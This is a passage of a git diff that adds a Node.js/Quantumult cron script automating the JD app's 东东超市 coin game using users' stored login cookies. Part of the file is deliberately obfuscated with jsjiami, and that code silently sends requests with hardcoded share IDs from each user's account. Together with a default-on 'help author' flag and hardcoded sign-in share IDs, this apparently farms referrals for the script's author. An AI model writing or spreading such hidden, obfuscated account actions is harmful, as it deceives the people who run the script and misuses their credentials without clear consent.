if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/jd_superMarket.js b/jd_superMarket.js new file mode 100644 index 0000000..e9f51b1 --- /dev/null +++ b/jd_superMarket.js @@ -0,0 +1,1583 @@ +/* +东东超市 +Last Modified time: 2021-3-4 21:22:37 +活动入口:京东APP首页-京东超市-底部东东超市 +Some Functions Modified From https://github.com/Zero-S1/JD_tools/blob/master/JD_superMarket.py +东东超市兑换奖品请使用此脚本 jd_blueCoin.js +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +=================QuantumultX============== +[task_local] +#东东超市 +11 * * * * jd_superMarket.js, tag=东东超市, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxc.png, enabled=true +===========Loon=============== +[Script] +cron "11 * * * *" script-path=jd_superMarket.js,tag=东东超市 +=======Surge=========== +东东超市 = type=cron,cronexp="11 * * * *",wake-system=1,timeout=3600,script-path=jd_superMarket.js +==============小火箭============= +东东超市 = type=cron,script-path=jd_superMarket.js, cronexpr="11 * * * *", timeout=3600, enable=true + */ +const $ = new Env('东东超市'); +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', jdSuperMarketShareArr = [], notify, newShareCodes; +let helpAu = true;//给作者助力 免费拿,极速版拆红包,省钱大赢家等活动.默认true是,false不助力. +helpAu = $.isNode() ? (process.env.HELP_AUTHOR ? process.env.HELP_AUTHOR === 'true' : helpAu) : helpAu; +let jdNotify = true;//用来是否关闭弹窗通知,true表示关闭,false表示开启。 +let superMarketUpgrade = true;//自动升级,顺序:解锁升级商品、升级货架,true表示自动升级,false表示关闭自动升级 +let businessCircleJump = true;//小于对方300热力值自动更换商圈队伍,true表示运行,false表示禁止 +let drawLotteryFlag = false;//是否用500蓝币去抽奖,true表示开启,false表示关闭。默认关闭 +let joinPkTeam = true;//是否自动加入PK队伍 +let message = '', subTitle; +const JD_API_HOST = 'https://api.m.jd.com/api'; + +//助力好友分享码 +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) +let shareCodes = [] + +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.coincount = 0;//收取了多少个蓝币 + $.coinerr = ""; + $.blueCionTimes = 0; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + //await shareCodesFormat();//格式化助力码 + await jdSuperMarket(); + await showMsg(); + // await businessCircleActivity(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdSuperMarket() { + try { + await receiveGoldCoin();//收金币 + await businessCircleActivity();//商圈活动 + await receiveBlueCoin();//收蓝币(小费) + // await receiveLimitProductBlueCoin();//收限时商品的蓝币 + await daySign();//每日签到 + await BeanSign()// + await doDailyTask();//做日常任务,分享,关注店铺, + // await help();//商圈助力 + //await smtgQueryPkTask();//做商品PK任务 + await drawLottery();//抽奖功能(招财进宝) + // await myProductList();//货架 + // await upgrade();//升级货架和商品 + // await manageProduct(); + // await limitTimeProduct(); + await smtg_shopIndex(); + await smtgHome(); + await receiveUserUpgradeBlue(); + await Home(); + if (helpAu === true) { + await helpAuthor(); + } + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + $.log(`【京东账号${$.index}】${$.nickName}\n${message}`); + jdNotify = $.getdata('jdSuperMarketNotify') ? $.getdata('jdSuperMarketNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, subTitle ,`【京东账号${$.index}】${$.nickName}\n${message}`); + } +} +//抽奖功能(招财进宝) +async function drawLottery() { + console.log(`\n注意⚠:东东超市抽奖已改版,花费500蓝币抽奖一次,现在脚本默认已关闭抽奖功能\n`); + drawLotteryFlag = $.getdata('jdSuperMarketLottery') ? $.getdata('jdSuperMarketLottery') : drawLotteryFlag; + if ($.isNode() && process.env.SUPERMARKET_LOTTERY) { + drawLotteryFlag = process.env.SUPERMARKET_LOTTERY; + } + if (`${drawLotteryFlag}` === 'true') { + const smtg_lotteryIndexRes = await smtg_lotteryIndex(); + if (smtg_lotteryIndexRes && smtg_lotteryIndexRes.data.bizCode === 0) { + const { result } = smtg_lotteryIndexRes.data + if (result.blueCoins > result.costCoins && result.remainedDrawTimes > 0) { + const drawLotteryRes = await smtg_drawLottery(); + console.log(`\n花费${result.costCoins}蓝币抽奖结果${JSON.stringify(drawLotteryRes)}`); + await drawLottery(); + } else { + console.log(`\n抽奖失败:已抽奖或者蓝币不足`); + console.log(`失败详情:\n现有蓝币:${result.blueCoins},抽奖次数:${result.remainedDrawTimes}`) + } + } + } else { + console.log(`设置的为不抽奖\n`) + } +} +async function help() { + return + console.log(`\n开始助力好友`); + for (let code of newShareCodes) { + if (!code) continue; + const res = await smtgDoAssistPkTask(code); + console.log(`助力好友${JSON.stringify(res)}`); + } +} +async function doDailyTask() { + const smtgQueryShopTaskRes = await smtgQueryShopTask(); + if (smtgQueryShopTaskRes.code === 0 && smtgQueryShopTaskRes.data.success) { + const taskList = smtgQueryShopTaskRes.data.result.taskList; + console.log(`\n日常赚钱任务 完成状态`) + for (let item of taskList) { + console.log(` ${item['title'].length < 4 ? item['title']+`\xa0` : item['title'].slice(-4)} ${item['finishNum'] === item['targetNum'] ? '已完成':'未完成'} ${item['finishNum']}/${item['targetNum']}`) + } + for (let item of taskList) { + //领奖 + if (item.taskStatus === 1 && item.prizeStatus === 1) { + const res = await smtgObtainShopTaskPrize(item.taskId); + console.log(`\n领取做完任务的奖励${JSON.stringify(res)}\n`) + } + //做任务 + if ((item.type === 1 || item.type === 11) && item.taskStatus === 0) { + // 分享任务 + const res = await smtgDoShopTask(item.taskId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`) + } + if (item.type === 2) { + //逛会场 + if (item.taskStatus === 0) { + console.log('开始逛会场') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if (item.type === 8) { + //关注店铺 + if (item.taskStatus === 0) { + console.log('开始关注店铺') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if (item.type === 9) { + //开卡领蓝币任务 + if (item.taskStatus === 0) { + console.log('开始开卡领蓝币任务') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if (item.type === 10) { + //关注商品领蓝币 + if (item.taskStatus === 0) { + console.log('关注商品') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if ((item.type === 8 || item.type === 2 || item.type === 10) && item.taskStatus === 0) { + // await doDailyTask(); + } + } + } +} +var _0xod8='jsjiami.com.v6',_0x435a=[_0xod8,'C8OsSsKcRA==','AsOISg==','wq7Dkjx7','w4DCiBDCmA==','McOhw5Y6w7rCqw==','FyxD','KCtAGFA=','aF9zwoVnw5LDtl3Chw==','woPkuK3kuZfot4zlu6fDiAtgYk/mn4Tor4zorojms6flpJzotLDDt+KCuu+7suKCm++5jg==','UjXDnzbDkg==','fcOdasKVWg==','EMKbwovCpcOrwolHLA/ChsKPWQ==','LMK5wrfCqVXDusKyBcOOF8KcM8KBPBLDk8OhdsKkwpvCi8KbSMOcw7ZLw6jDoCrDnMOOY8OUGRvCr8KQw7PCo8ODKVbClyN9woFKJ8KCw78yWmjCisKYwpvCsnXCocKcTMKjw4w4w5TDhlrCicK6KcKxIMOTw7NXPGI5w7bDmsOOw53DjsOoNcKZw5poJAnDlsOhGSACwpJlw5JwVGtVw7vCnC3DuhDDnMOcdSzCq3Y0w7HDpsOKwrRBHw7CmMO7acK7wrvDgcKLw5LCj8KPw40gw7LDrXkHUU9Fw5HDjsKfwpEAEmIQwrJTw6vCrcKNw65lw5c7ZBUQOMKrw7YPSmnCgHEiwo/Csg==','w6ArD2nCv8ObR8OhTsOxIgFuwqohWGbCgwtqHyRYw6nDtcKtGGfDvWTDqsOSIsKHCMOAwofDv3hHw5jCrDjCpsKPwp02VF8pdnMBDit/wobDicOJG8OAwp/DrcOkwoIawoQ6RRXCkMOJwqbCn8K8w5c0FcKGAcKAMDbCmhbCocKFw6nCisKHAzAnwpdfwqJrw53CnsO+UngVw4tRFCDCvsK3KBTDlXTCmxw4WWnDrWgoQAY5IMKCw5JMTcKoAgLDusOzUcKWwpsywoExworCmMOVwovCssOFwrhuw5rCl2Vjw5o4wqnDlsKtQzzCn20UE8O5KMOdSSjDhcK7DQ==','aznCo2rCgsKCM8KJbQFRXsO+w59qw4tPwrhPw4jCl8OhXMODw7vDonvCnsO9LMKwwop0DBzCtws2wp/CksKvKXzDuwxnw6jDtsO/SMKtw4pNwrPCp8Ohw5TCj8OFPV/ChMKww71hwrfDuB7Dn1t5e8OLw47Dl8KNNlfDtMOpOz/CqcOaeMOvw7fCslIifTFawqTClE8xc8K3GcKcw44yGj4/w5fCo8K9eVvCmcKzw6pDwphvRX/ChAIFH8KpwrxAwpDCrUp2wqrDnik4w751w7vDh2Edw458w5jCpmXCmil6YFBBfgXChnPDtUZ5w4/DsgtYOsK2bcOdw58lNAXDtQ==','woE1wp8wwrg=','BTgqw4gG','BsOEw48xw6o=','PTjCgUgN','w6dGwoHDpGk=','w6I3eFZ+','G8OKTsKOfg==','F8K8wqLCiH0=','wrJGw5wfVw==','w43CscKqwqV6','w6LCscORw63Cgg==','IcOMw6Y9w7w=','w4rCpwY0Bg==','wpzCsivCucOT','wqLChMKxIsKU','W8OTd8KqZw==','CSJKE1DCgg==','STLDgg==','w58rAQ==','HMOzVcK6bA==','w6RQwpAVXA==','acOxw7o=','w4LCjwDCqx0=','w6VeLA==','wpnCjlMxBcOnw7hewqA=','FUDCocKLUg==','w6crecK1UQ==','ZsOxw7nClg==','EcKkwqLCiVLDpsKk','EHxBCw==','w5VgwrYyYzbDqBnCtyIfwohdFMK+wrUQw58=','w51qwrXDu8K1aWILwp8hEDJ5M8KGVw==','wo5/Mwg1Bw==','UVUmKsKc','w7fCgDfCiC0=','wr/CqhjDhV0=','TQrDjQ/DoA==','CU7CtA==','w45wwqvDscKZcG4XwosyCzQ=','f0p1wo0=','w4HCncO+w5zCq8Oyd17CvE04w7E=','ZeS6ruS7gui0teW7osOOT0kSwrjmn6jorKXor57msa/lpYrotI3Dn+KBiO+4quKBs++6ug==','WgLDojXCjMOfPcK1diBXCw==','worCoxnCrsOldsOrwpMNwqLDs8OIw6UvIMK5w5rDoy/CsENrwr3DsMOrwqF2M1XDtx7CozPCuCrCqMKTwokZSCRww7wQKcKZw6ZFIAw1CHLCjB0FY8K1G8KOCsOoQ8Oew6dEwpgjwrR9BsKJwrgfOsKybcKjMErCuj9bw7QYbDNqXy7Cg8KYw4Z1w7zDrWIeUXfDqsKmwqLDpyDClMOdBQ/CvcKKw6HDgn15MMOAwpkJJBfDpzLDjgvDsFHDs1sfwpcnQzUtKi7CmVRvOMOOTQjCp8KGCsOBD8K0fyVRwrHDugjDgMKgwolnJ8OLwoDCuQLCgV1pfnPDpA==','w5FUMSzCp8KqUUl4QU9XGcOPWFHCr8OTwr/DnhnCjMKraDpPUjvCoEkkSsK9DcO4w5nDqMKBcsOoWsKRPMKzwrbDqsKIw73CpQUGwqpif3fCplFBw5zDn17ClcK1wopEAsO+CjbDvChEwpk5woBjwoxdCQsRNMOnw6hpPsKUw5DDlMOWw6dWwpc2TxTDr8KGw7PCscOTKMKlZsKCE8OewoNPG1NSN8KrOT/CmMKIw6lid2PDqcKEw6bCnko7LwXCvFnCk8KEWlUDK8O2wq/DoFzDizY3YHXDlXXCkmIpwqxFe2HCksKiw6R8KnrCvDYMZlgXw4ojw6U=','TcOMD8O/XnvChwZfw5gEwqTDlBrCnMOIw4XDgnXDk8OTI0LChFN/w5vDtcKBwrpJwqDDi8O7w6/CpRLCg8OmdWs+J348wop/CkQ/YcOYDMK2AcKMK8OBdMOSaQLDgsOIwqbCmW7CgBPCqGfDjcKjAMKswpEvwqZfUMOIaSZwwoTDt3NlUz1cwoNWZjXCvkjDjcKRw6PDh8K2T2Uzw6A/J8OLw4FKGzEWVRDCgcO1w7MMIF9qw4ACwofCkcO/w47CokHCmMKpPlfCoMKmwpIcfcKST0VWecKZLDhCX2LCvMKpw4TDslE4w4PCihvCu8OpXcK1w6HDgsKEwpY+DcKg','LsKXwpbCnmU=','wp0cwpkRwqo=','wofCiCTDuEA=','wqPDsht4wpM=','w70gJWrCiw==','w67CmAozNg==','wqzDnyd1woo=','Mi3DgVTCpg==','w7IveEBcOg==','NMOtw5g=','YcO1w7bCjBXCj1rCusOuw5DCoWY=','w4xQGTjCjg==','TgDDujbCkMOeMcKsei5ODw==','TQ7DojM=','wqvCgSvCt8O1','w65eJy3CpsKdQk92Z1VP','N8Opw5gW','TD7DjMOUXMOiwpU=','wqbDnC8=','6aOW5Y6i6YaY5bqP5om15Yuk','wqPCpAPCicOEdsOnwooNwq/Cs8Oi','w6QvYkU=','HMOCXsKZWBc=','XDLDlcOyWsOwwpXClcKow51TOQ==','44KQ6aOI5Y+A6Ye15biy44GG','w4PChgjCnTQDw60SWcKOw78z','YQxpw4Y=','bh3DuhXDpCw=','IhEqw6sMDcORIsOtw7l/wog=','YsOnR8OPw48=','B8KawqbCmkc=','CNjgLwsjiahmxwtUFi.kcom.vK6Wr=='];(function(_0x435e9c,_0x2c3b15,_0x3fd29c){var _0x15d5aa=function(_0x2845d9,_0xb1eaf8,_0x23b88a,_0x2249c6,_0x329b7f){_0xb1eaf8=_0xb1eaf8>>0x8,_0x329b7f='po';var _0x35c260='shift',_0x2adf61='push';if(_0xb1eaf8<_0x2845d9){while(--_0x2845d9){_0x2249c6=_0x435e9c[_0x35c260]();if(_0xb1eaf8===_0x2845d9){_0xb1eaf8=_0x2249c6;_0x23b88a=_0x435e9c[_0x329b7f+'p']();}else if(_0xb1eaf8&&_0x23b88a['replace'](/[CNgLwhxwtUFkKWr=]/g,'')===_0xb1eaf8){_0x435e9c[_0x2adf61](_0x2249c6);}}_0x435e9c[_0x2adf61](_0x435e9c[_0x35c260]());}return 0x7c478;};return _0x15d5aa(++_0x2c3b15,_0x3fd29c)>>_0x2c3b15^_0x3fd29c;}(_0x435a,0xf0,0xf000));var _0x31f9=function(_0x399ba0,_0x20111a){_0x399ba0=~~'0x'['concat'](_0x399ba0);var _0x25028c=_0x435a[_0x399ba0];if(_0x31f9['zPVvlF']===undefined){(function(){var _0x210516=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x57bbc1='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x210516['atob']||(_0x210516['atob']=function(_0x20394a){var _0x2b515a=String(_0x20394a)['replace'](/=+$/,'');for(var _0x1de264=0x0,_0x45341e,_0x202179,_0x2931f0=0x0,_0x25ac2b='';_0x202179=_0x2b515a['charAt'](_0x2931f0++);~_0x202179&&(_0x45341e=_0x1de264%0x4?_0x45341e*0x40+_0x202179:_0x202179,_0x1de264++%0x4)?_0x25ac2b+=String['fromCharCode'](0xff&_0x45341e>>(-0x2*_0x1de264&0x6)):0x0){_0x202179=_0x57bbc1['indexOf'](_0x202179);}return _0x25ac2b;});}());var _0x16faa9=function(_0x52c1b7,_0x20111a){var _0x2b3a74=[],_0x13fedf=0x0,_0x18ee6a,_0x3c0ad7='',_0x40588a='';_0x52c1b7=atob(_0x52c1b7);for(var _0x553635=0x0,_0x37238b=_0x52c1b7['length'];_0x553635<_0x37238b;_0x553635++){_0x40588a+='%'+('00'+_0x52c1b7['charCodeAt'](_0x553635)['toString'](0x10))['slice'](-0x2);}_0x52c1b7=decodeURIComponent(_0x40588a);for(var _0x260892=0x0;_0x260892<0x100;_0x260892++){_0x2b3a74[_0x260892]=_0x260892;}for(_0x260892=0x0;_0x260892<0x100;_0x260892++){_0x13fedf=(_0x13fedf+_0x2b3a74[_0x260892]+_0x20111a['charCodeAt'](_0x260892%_0x20111a['length']))%0x100;_0x18ee6a=_0x2b3a74[_0x260892];_0x2b3a74[_0x260892]=_0x2b3a74[_0x13fedf];_0x2b3a74[_0x13fedf]=_0x18ee6a;}_0x260892=0x0;_0x13fedf=0x0;for(var _0x39df9f=0x0;_0x39df9f<_0x52c1b7['length'];_0x39df9f++){_0x260892=(_0x260892+0x1)%0x100;_0x13fedf=(_0x13fedf+_0x2b3a74[_0x260892])%0x100;_0x18ee6a=_0x2b3a74[_0x260892];_0x2b3a74[_0x260892]=_0x2b3a74[_0x13fedf];_0x2b3a74[_0x13fedf]=_0x18ee6a;_0x3c0ad7+=String['fromCharCode'](_0x52c1b7['charCodeAt'](_0x39df9f)^_0x2b3a74[(_0x2b3a74[_0x260892]+_0x2b3a74[_0x13fedf])%0x100]);}return _0x3c0ad7;};_0x31f9['VDDtgo']=_0x16faa9;_0x31f9['tLHaYD']={};_0x31f9['zPVvlF']=!![];}var _0x4f0f2e=_0x31f9['tLHaYD'][_0x399ba0];if(_0x4f0f2e===undefined){if(_0x31f9['aqllwv']===undefined){_0x31f9['aqllwv']=!![];}_0x25028c=_0x31f9['VDDtgo'](_0x25028c,_0x20111a);_0x31f9['tLHaYD'][_0x399ba0]=_0x25028c;}else{_0x25028c=_0x4f0f2e;}return _0x25028c;};async function receiveGoldCoin(){var _0x4fa25c={'Shdoo':_0x31f9('0','alBx'),'WOeXE':function(_0x41e168,_0x371768,_0x89b5b8){return _0x41e168(_0x371768,_0x89b5b8);},'kKoLG':_0x31f9('1','fXrq'),'iASbk':_0x31f9('2','4l&k'),'EnPfv':_0x31f9('3','dS]p'),'qVbnJ':_0x31f9('4','Th$J'),'pHWak':function(_0x45588d,_0x2886f0){return _0x45588d*_0x2886f0;},'EaRqk':function(_0x48368a,_0x3756da){return _0x48368a(_0x3756da);},'oJDZr':function(_0x27c544,_0x55b6a1){return _0x27c544===_0x55b6a1;},'eKgpp':_0x31f9('5','uuZV')};const _0x862b2c=_0x4fa25c[_0x31f9('6','ipL4')](taskUrl,_0x4fa25c[_0x31f9('7','I*9!')],{'shareId':[_0x4fa25c[_0x31f9('8','jQqE')],_0x4fa25c[_0x31f9('9','kjSm')],_0x4fa25c[_0x31f9('a','9s4C')]][Math[_0x31f9('b','jQqE')](_0x4fa25c[_0x31f9('c','fjoo')](Math[_0x31f9('d','IZeJ')](),0x3))],'channel':'4'});$[_0x31f9('e','tAmR')](_0x862b2c,(_0xcd0230,_0x129b96,_0x6f0d7c)=>{});$[_0x31f9('f','Kk$i')]=await _0x4fa25c[_0x31f9('10','dS]p')](smtgReceiveCoin,{'type':0x0});if($[_0x31f9('11','fXrq')][_0x31f9('12','fXrq')]&&_0x4fa25c[_0x31f9('13','4l&k')]($[_0x31f9('14','dS]p')][_0x31f9('15','tAmR')][_0x31f9('16','O1#j')],0x0)){console[_0x31f9('17','jQqE')](_0x31f9('18','QDli')+$[_0x31f9('19','4l&k')][_0x31f9('1a','IZeJ')][_0x31f9('1b','9XN1')][_0x31f9('1c','O1#j')]);message+=_0x31f9('1d','IZeJ')+$[_0x31f9('1e','V35y')][_0x31f9('1f','1v!Q')][_0x31f9('20','niHx')][_0x31f9('21','QDli')]+'个\x0a';}else{if(_0x4fa25c[_0x31f9('22','g1aj')](_0x4fa25c[_0x31f9('23','uuZV')],_0x4fa25c[_0x31f9('24','9XN1')])){console[_0x31f9('25','9XN1')](''+($[_0x31f9('19','4l&k')][_0x31f9('26','jQqE')]&&$[_0x31f9('f','Kk$i')][_0x31f9('27','V35y')][_0x31f9('28','tAmR')]));}else{console[_0x31f9('29','JVIY')](_0x4fa25c[_0x31f9('2a','JVIY')]);console[_0x31f9('17','jQqE')](JSON[_0x31f9('2b','XM88')](err));}}}function smtgHome(){var _0x2b0b51={'Tnybf':function(_0x3cfac6,_0x5ebf63){return _0x3cfac6(_0x5ebf63);},'KfcyW':_0x31f9('2c','dS]p'),'ULcFc':function(_0xf3db46,_0x4ddbc1){return _0xf3db46===_0x4ddbc1;},'OZgNt':_0x31f9('2d','niHx'),'fgcRm':function(_0x218926,_0xe4ad23){return _0x218926(_0xe4ad23);},'bynrM':function(_0x4ded26,_0x51a247){return _0x4ded26!==_0x51a247;},'umcbJ':_0x31f9('2e','Th$J'),'ZKYUq':function(_0x5843d,_0x4f2c1e,_0x23c3d1){return _0x5843d(_0x4f2c1e,_0x23c3d1);},'DCCUj':_0x31f9('2f','^N7t'),'rDJJu':_0x31f9('30','uuZV'),'Uiniz':_0x31f9('31','kjSm'),'XyDTT':_0x31f9('32','fXrq'),'TIMmh':function(_0x7cea4,_0x4d9e77){return _0x7cea4*_0x4d9e77;},'rTxVX':function(_0x1f9203,_0x41fca2,_0x4dfc90){return _0x1f9203(_0x41fca2,_0x4dfc90);}};return new Promise(_0x19bcc9=>{var _0x50ad87={'ffdRj':_0x2b0b51[_0x31f9('33','ipL4')],'maldN':function(_0x2d0056,_0x4fba72){return _0x2b0b51[_0x31f9('34','QDli')](_0x2d0056,_0x4fba72);},'pXfiX':function(_0x45bb54,_0xf58ee6){return _0x2b0b51[_0x31f9('35','tAmR')](_0x45bb54,_0xf58ee6);},'SiSqZ':_0x2b0b51[_0x31f9('36','yGrB')],'QrDoh':function(_0x580291,_0x2482f9){return _0x2b0b51[_0x31f9('37','#[[S')](_0x580291,_0x2482f9);}};if(_0x2b0b51[_0x31f9('38','IZeJ')](_0x2b0b51[_0x31f9('39','9XN1')],_0x2b0b51[_0x31f9('3a','uuZV')])){_0x2b0b51[_0x31f9('3b','00Qy')](_0x19bcc9,data);}else{const _0x4bebee=_0x2b0b51[_0x31f9('3c','GgY[')](taskUrl,_0x2b0b51[_0x31f9('3d','i&$e')],{'shareId':[_0x2b0b51[_0x31f9('3e','tAmR')],_0x2b0b51[_0x31f9('3f','9s4C')],_0x2b0b51[_0x31f9('40','4l&k')]][Math[_0x31f9('41','#0F!')](_0x2b0b51[_0x31f9('42','Th$J')](Math[_0x31f9('43','JVIY')](),0x3))],'channel':'4'});$[_0x31f9('44','O1#j')](_0x4bebee,(_0x176204,_0x22f68e,_0x3cd660)=>{});$[_0x31f9('45','kjSm')](_0x2b0b51[_0x31f9('46','9XN1')](taskUrl,_0x2b0b51[_0x31f9('47','18kq')],{'channel':'18'}),(_0x509722,_0x52e599,_0x37449c)=>{try{if(_0x509722){console[_0x31f9('48','!8b9')](_0x50ad87[_0x31f9('49','V35y')]);console[_0x31f9('4a','dS]p')](JSON[_0x31f9('4b','*eIx')](_0x509722));}else{_0x37449c=JSON[_0x31f9('4c','nr2f')](_0x37449c);if(_0x50ad87[_0x31f9('4d','v#0&')](_0x37449c[_0x31f9('4e','!8b9')],0x0)&&_0x37449c[_0x31f9('1f','1v!Q')][_0x31f9('4f','uuZV')]){const {result}=_0x37449c[_0x31f9('50','ce1a')];const {shopName,totalBlue,userUpgradeBlueVos,turnoverProgress}=result;$[_0x31f9('51','18kq')]=userUpgradeBlueVos;$[_0x31f9('52','oqIa')]=turnoverProgress;}}}catch(_0x56d7e6){$[_0x31f9('53','Znct')](_0x56d7e6,_0x52e599);}finally{if(_0x50ad87[_0x31f9('54','lXFG')](_0x50ad87[_0x31f9('55','V35y')],_0x50ad87[_0x31f9('56','I*9!')])){_0x50ad87[_0x31f9('57','niHx')](_0x19bcc9,_0x37449c);}else{console[_0x31f9('58','nr2f')](''+($[_0x31f9('59','oqIa')][_0x31f9('5a','XM88')]&&$[_0x31f9('5b','i&$e')][_0x31f9('5a','XM88')][_0x31f9('28','tAmR')]));}}});}});};_0xod8='jsjiami.com.v6'; +//领限时商品的蓝币 +async function receiveLimitProductBlueCoin() { + const res = await smtgReceiveCoin({ "type": 1 }); + console.log(`\n限时商品领蓝币结果:[${res.data.bizMsg}]\n`); + if (res.data.bizCode === 0) { + message += `【限时商品】获得${res.data.result.receivedBlue}个蓝币\n`; + } +} +//领蓝币 +function receiveBlueCoin(timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + $.get(taskUrl('smtg_receiveCoin', {"type": 2, "channel": "18"}), async (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + $.data = data; + if ($.data.data.bizCode !== 0 && $.data.data.bizCode !== 809) { + $.coinerr = `${$.data.data.bizMsg}`; + message += `【收取小费】${$.data.data.bizMsg}\n`; + console.log(`收取蓝币失败:${$.data.data.bizMsg}`) + return + } + if ($.data.data.bizCode === 0) { + $.coincount += $.data.data.result.receivedBlue; + $.blueCionTimes ++; + console.log(`【京东账号${$.index}】${$.nickName} 第${$.blueCionTimes}次领蓝币成功,获得${$.data.data.result.receivedBlue}个\n`) + if (!$.data.data.result.isNextReceived) { + message += `【收取小费】${$.coincount}个\n`; + return + } + } + await receiveBlueCoin(3000); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +async function daySign() { + const signDataRes = await smtgSign({"shareId":"QcSH6BqSXysv48bMoRfTBz7VBqc5P6GodDUBAt54d8598XAUtNoGd4xWVuNtVVwNO1dSKcoaY3sX_13Z-b3BoSW1W7NnqD36nZiNuwrtyO-gXbjIlsOBFpgIPMhpiVYKVAaNiHmr2XOJptu14d8uW-UWJtefjG9fUGv0Io7NwAQ","channel":"4"}); + await smtgSign({"shareId":"TBj0jH-x7iMvCMGsHfc839Tfnco6UarNx1r3wZVIzTZiLdWMRrmoocTbXrUOFn0J6UIir16A2PPxF50_Eoo7PW_NQVOiM-3R16jjlT20TNPHpbHnmqZKUDaRajnseEjVb-SYi6DQqlSOioRc27919zXTEB6_llab2CW2aDok36g","channel":"4"}); + if (signDataRes && signDataRes.code === 0) { + const signList = await smtgSignList(); + if (signList.data.bizCode === 0) { + $.todayDay = signList.data.result.todayDay; + } + if (signDataRes.code === 0 && signDataRes.data.success) { + message += `【第${$.todayDay}日签到】成功,奖励${signDataRes.data.result.rewardBlue}蓝币\n` + } else { + message += `【第${$.todayDay}日签到】${signDataRes.data.bizMsg}\n` + } + } +} +async function BeanSign() { + const 